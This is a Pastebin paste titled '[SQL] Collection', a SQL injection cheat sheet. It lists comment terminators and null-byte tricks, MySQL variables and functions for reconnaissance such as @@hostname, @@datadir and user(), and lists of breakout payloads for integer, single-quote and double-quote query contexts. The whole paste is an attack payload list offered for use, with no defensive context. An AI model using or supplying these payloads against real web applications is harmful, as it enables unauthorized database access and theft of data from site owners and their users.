mrfmr

[SQL] Collection

Jul 22nd, 2018
122
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.17 KB | None | 0 0
  1. Comment Name
  2. -- : MySQL Linux Style
  3. --+ : MySQL Windows Style
  4. # : Hash (URL encode while use)
  5. --+- : SQL Comment
  6. ;%00 : Null Byte
  7. ` : Backtick
  8.  
  9. Variable/Function Output
  10. @@hostname : Current Hostname
  11. @@tmpdir : Tept Directory
  12. @@datadir : Data Directory
  13. @@version : Version of DB
  14. @@basedir : Base Directory
  15. user() : Current User
  16. database() : Current Database
  17. version() : Version
  18. schema() : current Database
  19. UUID() : System UUID key
  20. current_user() : Current User
  21. current_user : Current User
  22. system_user() : Current Sustem user
  23. session_user() : Session user
  24. @@GLOBAL.have_symlink : Check if Symlink Enabled or Disabled
  25. @@GLOBAL.have_ssl : Check if it have ssl or not
  26.  
  27.  
  28. integer based ::
  29.  
  30. --
  31. -- -
  32. --+-
  33. )--
  34. )-- -
  35. )--+-
  36. ))--
  37. ))-- -
  38. ))--+-
  39. ;%00
  40. ) ;%00
  41. ));%00
  42. %23
  43. %60
  44. %90
  45. and 1=1
  46. and '1'='1
  47. and (1)=(1
  48. php?id=(1) -- -
  49.  
  50. string based ::
  51.  
  52. '--+-
  53. ')-- -
  54. ')--+-
  55. '))-- -
  56. '))--+-
  57. ';%00
  58. ');%00
  59. '));%00
  60. '%23
  61. '%60
  62. '%90
  63. ' and 1=1
  64. ' and '1'='1
  65. ' and (1)=(1
  66. php?id=(1') -- -
  67.  
  68.  
  69. string based double quotes ::
  70.  
  71. "-- -
  72. "--+-
  73. "%23
  74. ")-- -
  75. ")--+-
  76. "))--+-
  77. ";%00
  78. ") ;%00
  79. "));%00
  80. "%60
  81. "%90
  82. " and 1=1
  83. " and '1'='1
  84. " and (1)=(1
  85. php?id=(1") -- -
Add Comment
Please, Sign In to add comment